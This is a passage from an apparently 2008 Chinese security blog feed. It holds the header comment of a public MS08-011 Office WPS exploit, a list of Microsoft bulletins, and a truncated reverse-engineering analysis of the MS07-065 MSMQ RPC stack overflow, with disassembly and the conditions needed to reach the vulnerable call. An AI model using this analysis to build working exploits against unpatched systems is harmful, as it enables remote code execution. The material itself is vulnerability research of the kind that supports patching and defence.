	<a href="http://www.huniao.com/attachment.php?fid=10" target="_blank"><img src="http://www.huniao.com/attachment.php?fid=10" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/><a href="http://www.huniao.com/attachment.php?fid=11" target="_blank"><img src="http://www.huniao.com/attachment.php?fid=11" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/><a href="http://www.huniao.com/attachment.php?fid=12" target="_blank"><img src="http://www.huniao.com/attachment.php?fid=12" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/><a href="http://www.huniao.com/attachment.php?fid=13" target="_blank"><img src="http://www.huniao.com/attachment.php?fid=13" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a>
]]>
</description>
</item><item>
<link>http://www.huniao.com/read.php?29</link>
<title><![CDATA[MS08-011 EXP (test)]]></title> 
<author>huniao &lt;admin@yourname.com&gt;</author>
<category><![CDATA[杂而乱]]></category>
<pubDate>Fri, 15 Feb 2008 12:17:48 +0000</pubDate> 
<guid>http://www.huniao.com/read.php?29</guid> 
<description>
<![CDATA[ 
	<div class="code">Microsoft Office .WPS File Stack Overflow Exploit (MS08-011)<br/><br/>&#91;code&#93;/*<br/>* Copyright (c) 2008 chujwamwdupe - pumpernikiel.c<br/>*<br/>* one day in teletubby land...<br/>*<br/>* an email from idefense:<br/>* <br/>* &quot;Unfortunately, Microsoft has refused to credit you using the name you requested.&quot;<br/>*<br/>* ...what&#039;s wrong with &#039;chujwamwdupe&#039;, eh?<br/>*<br/>*<br/>* Description:<br/>*&nbsp;&nbsp;&nbsp;&nbsp;A vulnerability exists in WPS to RTF convert filter that is part<br/>*&nbsp;&nbsp;&nbsp;&nbsp;of Microsoft Office 2003. It could be exploited by remote attacker<br/>*&nbsp;&nbsp;&nbsp;&nbsp;to take complete control of an affected system. This issue is due to<br/>*&nbsp;&nbsp;&nbsp;&nbsp;stack overflow error in function that read secions from WPS file.<br/>*&nbsp;&nbsp;&nbsp;&nbsp;When we change size of for example TEXT section to number langer than<br/>*&nbsp;&nbsp;&nbsp;&nbsp;0x10, stack overflow occurs - very easy to exploit.<br/>*<br/>*<br/>* Tested on:<br/>*&nbsp;&nbsp;&nbsp;&nbsp;Microsoft Windows XP Service Pack 2 &amp;&amp; Microsoft Office 2003<br/>* <br/>* Usage:<br/>*&nbsp;&nbsp;&nbsp;&nbsp; wps.exe 1 evil.wps<br/>*<br/>*/</div><br/><br/><br/>............<br/>
]]>
</description>
</item><item>
<link>http://www.huniao.com/read.php?28</link>
<title><![CDATA[微软二月安全公告发布]]></title> 
<author>huniao &lt;admin@yourname.com&gt;</author>
<category><![CDATA[杂而乱]]></category>
<pubDate>Fri, 15 Feb 2008 12:08:11 +0000</pubDate> 
<guid>http://www.huniao.com/read.php?28</guid> 
<description>
<![CDATA[ 
	一共有 11 个，其中 6 个严重级别，5 个重要级别。<br/><br/>严重级别的有：<br/><br/>MS08-007<br/>WebDAV Mini-Redirector 中的漏洞可能允许远程执行代码 (946026)<br/><a href="http://www.microsoft.com/china/technet/security/bulletin/ms08-007.mspx" target="_blank">http://www.microsoft.com/china/technet/security/bulletin/ms08-007.mspx</a><br/><br/>MS08-008<br/>OLE 自动化中的漏洞可能允许远程执行代码 (947890)<br/><a href="http://www.microsoft.com/china/technet/security/bulletin/ms08-008.mspx" target="_blank">http://www.microsoft.com/china/technet/security/bulletin/ms08-008.mspx</a><br/><br/>MS08-009<br/>Microsoft Word 中的漏洞可能允许远程执行代码 (947077)<br/><a href="http://www.microsoft.com/china/technet/security/bulletin/ms08-009.mspx" target="_blank">http://www.microsoft.com/china/technet/security/bulletin/ms08-009.mspx</a><br/><br/>MS08-010<br/>Internet Explorer 的累积性安全更新 (944533)<br/><a href="http://www.microsoft.com/china/technet/security/bulletin/ms08-010.mspx" target="_blank">http://www.microsoft.com/china/technet/security/bulletin/ms08-010.mspx</a><br/><br/>MS08-012<br/>Microsoft Office Publisher 中的漏洞可能允许远程执行代码 (947085)<br/><a href="http://www.microsoft.com/china/technet/security/Bulletin/MS08-012.mspx" target="_blank">http://www.microsoft.com/china/technet/security/Bulletin/MS08-012.mspx</a><br/><br/>MS08-013<br/>Microsoft Office 中的漏洞可能允许远程执行代码 (947108)<br/><a href="http://www.microsoft.com/china/technet/security/Bulletin/MS08-013.mspx" target="_blank">http://www.microsoft.com/china/technet/security/Bulletin/MS08-013.mspx</a><br/><br/>重要级别的有：<br/><br/>MS08-003<br/>Active Directory 中的漏洞可能允许拒绝服务 (946538)<br/><a href="http://www.microsoft.com/china/technet/security/Bulletin/MS08-003.mspx" target="_blank">http://www.microsoft.com/china/technet/security/Bulletin/MS08-003.mspx</a><br/><br/>MS08-004<br/>Windows TCP/IP 中的漏洞可能允许拒绝服务 (946456)<br/><a href="http://www.microsoft.com/china/technet/security/Bulletin/MS08-004.mspx" target="_blank">http://www.microsoft.com/china/technet/security/Bulletin/MS08-004.mspx</a><br/><br/>MS08-005<br/>Internet Information Services 中的漏洞可能允许特权提升 (942831)<br/><a href="http://www.microsoft.com/china/technet/security/Bulletin/MS08-005.mspx" target="_blank">http://www.microsoft.com/china/technet/security/Bulletin/MS08-005.mspx</a><br/><br/>MS08-006<br/>Internet Information Services 中的漏洞可能允许远程执行代码 (942830)<br/><a href="http://www.microsoft.com/china/technet/security/Bulletin/MS08-006.mspx" target="_blank">http://www.microsoft.com/china/technet/security/Bulletin/MS08-006.mspx</a><br/><br/>MS08-011<br/>Microsoft Works 文件转换器中的漏洞可能允许远程执行代码 (947081)<br/><a href="http://www.microsoft.com/china/technet/security/Bulletin/MS08-011.mspx" target="_blank">http://www.microsoft.com/china/technet/security/Bulletin/MS08-011.mspx</a><br/><br/>Microsoft 安全公告摘要（2008 年 2 月）：<br/><a href="http://www.microsoft.com/china/technet/security/bulletin/ms08-feb_sum.mspx" target="_blank">http://www.microsoft.com/china/technet/security/bulletin/ms08-feb_sum.mspx</a> <br/>
]]>
</description>
</item><item>
<link>http://www.huniao.com/read.php?10</link>
<title><![CDATA[MS07-065 Message Queuing Service RPC远程溢出分析 ]]></title> 
<author>huniao &lt;admin@yourname.com&gt;</author>
<category><![CDATA[杂而乱]]></category>
<pubDate>Mon, 17 Dec 2007 09:51:56 +0000</pubDate> 
<guid>http://www.huniao.com/read.php?10</guid> 
<description>
<![CDATA[ 
	Author: axis<br/>Date: 2007-12-17<br/>Team: <a href="http://www.ph4nt0m.org" target="_blank">http://www.ph4nt0m.org</a><br/><br/>微软的补丁链接<br/><a href="http://www.microsoft.com/technet/security/bulletin/ms07-065.mspx" target="_blank">http://www.microsoft.com/technet/security/bulletin/ms07-065.mspx</a><br/><br/>根据ZDI的漏洞描述:<br/>The specific flaw exists in the RPC interface defined on port 2103 with<br/>UUID fdb3a030-065f-11d1-bb9b-00a024ea5525. During the processing of<br/>opnum 0x06 the service copies user-supplied information into a fixed<br/>length stack buffer. Sending at least 300 bytes will trigger a stack<br/>based buffer overflow due to a vulnerable wcscat() call. Exploitation<br/>of this issue can result in arbitrary code execution.<br/><br/>漏洞是在UUID fdb3a030-065f-11d1-bb9b-00a024ea5525 的第6个调用引起的。最终通过一个 wcscat()的拷贝造成一个栈溢出.<br/><br/>查找了一下关于这个接口的一些定义<br/><a href="http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_msmq.html" target="_blank">http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_msmq.html</a><br/><br/>The Message Queuing service (msmq) runs RPC services, listening on the ncacn_ip_tcp transport. By default, the msmq services opens 4 TCP ports [81], including one or several of 2101/tcp, 2103/tcp, 2105/tcp and 2107/tcp.<br/><br/>The mqqm.dll (Windows NT MQ Queue Manager) DLL, loaded in the mqsvc.exe process, contains the following RPC services: <br/><br/>fdb3a030-065f-11d1-bb9b-00a024ea5525 v1.0<br/><br/>76d12b80-3467-11d3-91ff-0090272f9ea3 v1.0<br/><br/>1088a980-eae5-11d0-8d9b-00a02453c337 v1.0<br/><br/>5b5b3580-b0e0-11d1-b92d-0060081e87f0 v1.0<br/><br/>41208ee0-e970-11d1-9b9e-00e02c064c39 v1.0<br/><br/><strong>Table 4.49. qmcomm operations</strong><br/><br/>事实上，这个服务运行在2101、2103、2105、2107端口，根据我后来的结果可以看到，这些端口都能够直接溢出<br/><br/>这个漏洞被微软标记为important，因为在2003偷偷修复了，在xp和2000 professional版本上，这个漏洞利用时候需要验证用户密码，只有在2000 server上，才能够无须身份验证的触发溢出。<br/><br/>Windows默认是没有装这个服务的，要安装这个服务可以在添加删除程序里，选择添加windows组件。<br/><br/><a href="http://www.huniao.com/attachment.php?fid=5" target="_blank"><img src="http://www.huniao.com/attachment.php?fid=5" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/>如果是英文版的系统，那么这里可能叫做 Message Queuing<br/><br/>安装完之后，可以通过 net start msmq 来启动服务。<br/><br/>服务的进程是 mqsvc.exe, 而服务是在 mqqm.dll 中，所以我们可以反汇编这个dll文件<br/><br/><br/>用IDA反汇编mqqm.dll后，用mida插件逆向出RPC调用<br/><br/><a href="http://www.huniao.com/attachment.php?fid=6" target="_blank"><img src="http://www.huniao.com/attachment.php?fid=6" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/>导出IDL文件后，可以看到函数结构如下：<br/><div class="code">/* opcode: 0x06, address: 0x613B5F03 */<br/><br/>long&nbsp;&nbsp;_QMCreateObjectInternal (<br/> &#91;in&#93; long arg_1,<br/> &#91;in&#93;&#91;string&#93; wchar_t * arg_2,<br/> &#91;in&#93;&#91;range(0,524288)&#93; long arg_3,<br/> &#91;in&#93;&#91;unique&#93;&#91;size_is(arg_3)&#93; char * arg_4,<br/> &#91;in&#93;&#91;range(1,128)&#93; long arg_5,<br/> &#91;in&#93;&#91;size_is(arg_5)&#93; long arg_6&#91;&#93;,<br/> &#91;in&#93;&#91;size_is(arg_5)&#93; struct struct_4 arg_7&#91;&#93;<br/>);</div><br/><br/>这个函数结构暂时先不管他，也可以自己重新构造了一个IDL文件.<br/><br/>通过IDA看 _QMCreateObjectInternal 函数，没过多久就看出了问题所在<br/><br/>在 QMCreatePrivateQueue 中的 ReplaceDNSNameWithNetBiosName 中，没有对输入进行充分检查，wcscat()导致了一个栈溢出。<br/><br/><div class="code">; int __cdecl ReplaceDNSNameWithNetBiosName(wchar_t *Str, wchar_t *Dest)<br/>?ReplaceDNSNameWithNetBiosName@@YAXPBGPAG@Z proc near<br/><br/>Str= dword ptr&nbsp;&nbsp;4<br/>Dest= dword ptr&nbsp;&nbsp;8<br/><br/>push&nbsp;&nbsp;&nbsp;&nbsp;esi<br/>push&nbsp;&nbsp;&nbsp;&nbsp;5Ch&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Ch<br/>push&nbsp;&nbsp;&nbsp;&nbsp;&#91;esp+8+Str&#93;&nbsp;&nbsp;&nbsp;&nbsp; ; Str<br/>call&nbsp;&nbsp;&nbsp;&nbsp;ds:__imp__wcschr<br/>pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>mov&nbsp;&nbsp;&nbsp;&nbsp; esi, eax<br/>pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>push&nbsp;&nbsp;&nbsp;&nbsp;?g_szMachineName@@3PAGA ; Source<br/>push&nbsp;&nbsp;&nbsp;&nbsp;&#91;esp+8+Dest&#93;&nbsp;&nbsp;&nbsp;&nbsp;; Dest<br/>call&nbsp;&nbsp;&nbsp;&nbsp;ds:__imp__wcscpy<br/>pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>push&nbsp;&nbsp;&nbsp;&nbsp;esi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Source<br/>push&nbsp;&nbsp;&nbsp;&nbsp;&#91;esp+8+Dest&#93;&nbsp;&nbsp;&nbsp;&nbsp;; Dest<br/>call&nbsp;&nbsp;&nbsp;&nbsp;ds:__imp__wcscat&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 溢出<br/>pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>pop&nbsp;&nbsp;&nbsp;&nbsp; esi<br/>retn<br/>?ReplaceDNSNameWithNetBiosName@@YAXPBGPAG@Z endp</div><br/><br/>伪代码：<br/><div class="code">wchar_t *__cdecl ReplaceDNSNameWithNetBiosName(wchar_t *Str, wchar_t *Dest)<br/>&#123;<br/>&nbsp;&nbsp;wchar_t *v3; // esi@1<br/><br/>&nbsp;&nbsp;v3 = _wcschr(Str, 0x5Cu);<br/>&nbsp;&nbsp;_wcscpy(Dest, g_szMachineName);<br/>&nbsp;&nbsp;return _wcscat(Dest, v3);<br/>&#125;code&#93;<br/><br/>这里我们后面再回过头来看。<br/><br/><br/>那么，函数调用是这样的：<br/><br/>&#91;code&#93;_QMCreateObjectInternal<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124;---------------QMCreatePrivateQueue<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124;-------------------ReplaceDNSNameWithNetBiosName<br/><br/><br/><br/><br/><br/>_QMCreateObjectInternal的伪代码为：<br/><br/>signed int __thiscall QMCreateObjectInternal(struct _RTL_CRITICAL_SECTION *this, RPC_BINDING_HANDLE Binding, unsigned int Type, wchar_t *Str, int a5, int a6, int a7, int a8, int a9)<br/>&#123;<br/>&nbsp;&nbsp;__int32 v10; // edi@6<br/>&nbsp;&nbsp;__int32 v11; // eax@7<br/>&nbsp;&nbsp;int v12; // ST18_4@9<br/>&nbsp;&nbsp;struct _RTL_CRITICAL_SECTION *v13; // &#91;sp+4h&#93; &#91;bp-10h&#93;@1<br/>&nbsp;&nbsp;int v14; // &#91;sp+10h&#93; &#91;bp-4h&#93;@4<br/><br/>&nbsp;&nbsp;v13 = this;<br/>&nbsp;&nbsp;if ( a5 &amp;&amp; !a6 )<br/>&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;LogMsgHR(-1072824314, off_6B27271C, 0x125u);<br/>&nbsp;&nbsp;&nbsp;&nbsp;return -1072824314;<br/>&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;v13 = &amp;qmcmd_cs;<br/>&nbsp;&nbsp;EnterCriticalSection(&amp;qmcmd_cs);<br/>&nbsp;&nbsp;v14 = 0;<br/>&nbsp;&nbsp;if ( Type == 1 )<br/>&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;v12 = 1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;goto LABEL_14;<br/>&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;if ( Type == 2 )<br/>&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Type = 0;<br/>&nbsp;&nbsp;&nbsp;&nbsp;v11 = I_RpcBindingInqTransportType(Binding, &amp;Type);<br/>&nbsp;&nbsp;&nbsp;&nbsp;if ( v11 )<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto LABEL_20;<br/>&nbsp;&nbsp;&nbsp;&nbsp;if ( Type == 4 )<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v12 = 0;<br/>LABEL_14:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v10 = CQPrivate__QMCreatePrivateQueue(Str, a5, a6, a7, a8, a9, v12);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto LABEL_15;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;if ( v11 )<br/>LABEL_20:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LogMsgRPCStatus(v11, off_6B27271C, 0x28u);<br/>&nbsp;&nbsp;&nbsp;&nbsp;LeaveCriticalSection(&amp;qmcmd_cs);<br/>&nbsp;&nbsp;&nbsp;&nbsp;return -1072824283;<br/>&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;v10 = -1072824319;<br/>LABEL_15:<br/>&nbsp;&nbsp;if ( v10 &lt; 0 )<br/>&nbsp;&nbsp;&nbsp;&nbsp;LogMsgHR(v10, off_6B27271C, 0x32u);<br/>&nbsp;&nbsp;LeaveCriticalSection(&amp;qmcmd_cs);<br/>&nbsp;&nbsp;return v10;<br/>&#125;</div><br/><br/>============= 这是华丽的分割线 ================<br/><br/><br/><br/><br/><br/>首先要调用到 QMCreatePrivateQueue .<br/><br/>我们看到以下是依次是 _QMCreateObjectInternal的六个参数<br/>Type= dword ptr 0Ch<br/>Str= dword ptr 10h<br/>arg_C= dword ptr 14h<br/>arg_10= dword ptr 18h<br/>arg_14= dword ptr 1Ch<br/>arg_18= dword ptr 20h<br/>arg_1C= dword ptr 24h<br/><br/>看以下代码片段<br/><div class="code">loc_6B22555B:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; CCriticalSection qmcmd_cs<br/>mov&nbsp;&nbsp;&nbsp;&nbsp; esi, offset ?qmcmd_cs@@3VCCriticalSection@@A<br/>push&nbsp;&nbsp;&nbsp;&nbsp;esi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; lpCriticalSection<br/>mov&nbsp;&nbsp;&nbsp;&nbsp; &#91;ebp+var_10&#93;, esi<br/>call&nbsp;&nbsp;&nbsp;&nbsp;ds:__imp__EnterCriticalSection@4 ; EnterCriticalSection(x)<br/>mov&nbsp;&nbsp;&nbsp;&nbsp; eax, &#91;ebp+Type&#93;<br/>mov&nbsp;&nbsp;&nbsp;&nbsp; &#91;ebp+var_4&#93;, ebx<br/>dec&nbsp;&nbsp;&nbsp;&nbsp; eax<br/>jz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;short loc_6B2255C1</div><br/><br/>在代码中，如果eax为1，dec eax后条件为真，会跳转到QMCreatePrivateQueue 去执行<br/><br/>而eax是由mov eax, [ebp+Type]传入的<br/><br/>所以要让流程走到QMCreatePrivateQueue<br/>_QMCreateObjectInternal的第一个参数必须是为0x00000001<br/><br/>以下是 QMCreatePrivateQueue的调用<br/><div class="code">loc_6B2255C3:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; int<br/>push&nbsp;&nbsp;&nbsp;&nbsp;&#91;ebp+arg_1C&#93;<br/>mov&nbsp;&nbsp;&nbsp;&nbsp; ecx, offset ?g_QPrivate@@3VCQPrivate@@A ; CQPrivate g_QPrivate<br/>push&nbsp;&nbsp;&nbsp;&nbsp;&#91;ebp+arg_18&#93;&nbsp;&nbsp;&nbsp;&nbsp;; int<br/>push&nbsp;&nbsp;&nbsp;&nbsp;&#91;ebp+arg_14&#93;&nbsp;&nbsp;&nbsp;&nbsp;; int<br/>push&nbsp;&nbsp;&nbsp;&nbsp;&#91;ebp+arg_10&#93;&nbsp;&nbsp;&nbsp;&nbsp;; int<br/>push&nbsp;&nbsp;&nbsp;&nbsp;&#91;ebp+arg_C&#93;&nbsp;&nbsp;&nbsp;&nbsp; ; int<br/>push&nbsp;&nbsp;&nbsp;&nbsp;&#91;ebp+Str&#93;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Str<br/>call&nbsp;&nbsp;&nbsp;&nbsp;?QMCreatePrivateQueue@CQPrivate@@QAEJPBGKPAXKQAKQAUtagPROPVARIANT@@H@Z ; CQPrivate::QMCreatePrivateQueue(ushort const *,ulong,void *,ulong,ulong * const,tagPROPVARIANT * const,int)</div><br/><br/>实际上，我们在后面可以看到，漏洞是由于QMCreatePrivateQueue的第一个参数，也就是_QMCreateObjectInternal的第二个参数所造成的。<br/><br/><br/>进入QMCreatePrivateQueue 之后，我们要调用到 ReplaceDNSNameWithNetBiosName.<br/>以下是代码片段<br/><div class="code">.text:6B2178A9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; eax, offset sub_6B25BE64<br/>.text:6B2178AE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;&nbsp;__EH_prolog<br/>.text:6B2178B3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sub&nbsp;&nbsp;&nbsp;&nbsp; esp, 138h<br/>.text:6B2178B9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;ebx<br/>.text:6B2178BA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;esi<br/>.text:6B2178BB&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; esi, &#91;ebp+8&#93;<br/>.text:6B2178BE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; eax, &#91;ebp-1Ch&#93;<br/>.text:6B2178C1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;edi<br/>.text:6B2178C2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; int<br/>.text:6B2178C3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; &#91;ebp-18h&#93;, ecx<br/>.text:6B2178C6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;esi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Source<br/>.text:6B2178C7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;&nbsp;?IsPathnameForLocalMachine@@YAHPBGPAH@Z ; IsPathnameForLocalMachine(ushort const *,int *)<br/>.text:6B2178CC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; ebx, ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;; ebx 清0<br/>.text:6B2178CE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>.text:6B2178CF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp;&nbsp;&nbsp; eax, ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;; 比较ispath函数的返回值<br/>.text:6B2178D1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>.text:6B2178D2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jnz&nbsp;&nbsp;&nbsp;&nbsp; short loc_6B2178EC&nbsp;&nbsp;&nbsp;&nbsp; ; 这里有个判断<br/><br/><br/>.text:6B2178EC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp;&nbsp;&nbsp; &#91;ebp-1Ch&#93;, ebx&nbsp;&nbsp;&nbsp;&nbsp;; 这里有个判断<br/>.text:6B2178EF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;short loc_6B217906<br/>.text:6B2178F1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; eax, &#91;ebp-144h&#93;&nbsp;&nbsp;&nbsp;&nbsp; ; 在栈上<br/>.text:6B2178F7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Dest<br/>.text:6B2178F8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;esi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Str&nbsp;&nbsp; 我们传入的参数<br/>.text:6B2178F9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;&nbsp;?ReplaceDNSNameWithNetBiosName@@YAXPBGPAG@Z ; ReplaceDNSNameWithNetBiosName(ushort const *,ushort *)<br/></div><br/><br/><br/><br/><br/><br/>========== 这是聪明的分割线 ============<br/><br/><br/><br/><br/>要走到 ReplaceDNSNameWithNetBiosName ,就需要先绕过 IsPathnameForLocalMachine 这个函数。 我在绕过这个函数上走了很多弯路，花了许多功夫。<br/><br/>看看IsPathnameForLocalMachine函数:<br/><br/>中间分析过程很多，这里我就拿重要的说<br/><div class="code">mov&nbsp;&nbsp;&nbsp;&nbsp; eax, offset sub_6B25D54C<br/>call&nbsp;&nbsp;&nbsp;&nbsp;__EH_prolog<br/>sub&nbsp;&nbsp;&nbsp;&nbsp; esp, 204h<br/>push&nbsp;&nbsp;&nbsp;&nbsp;ebx<br/>push&nbsp;&nbsp;&nbsp;&nbsp;esi<br/>lea&nbsp;&nbsp;&nbsp;&nbsp; eax, 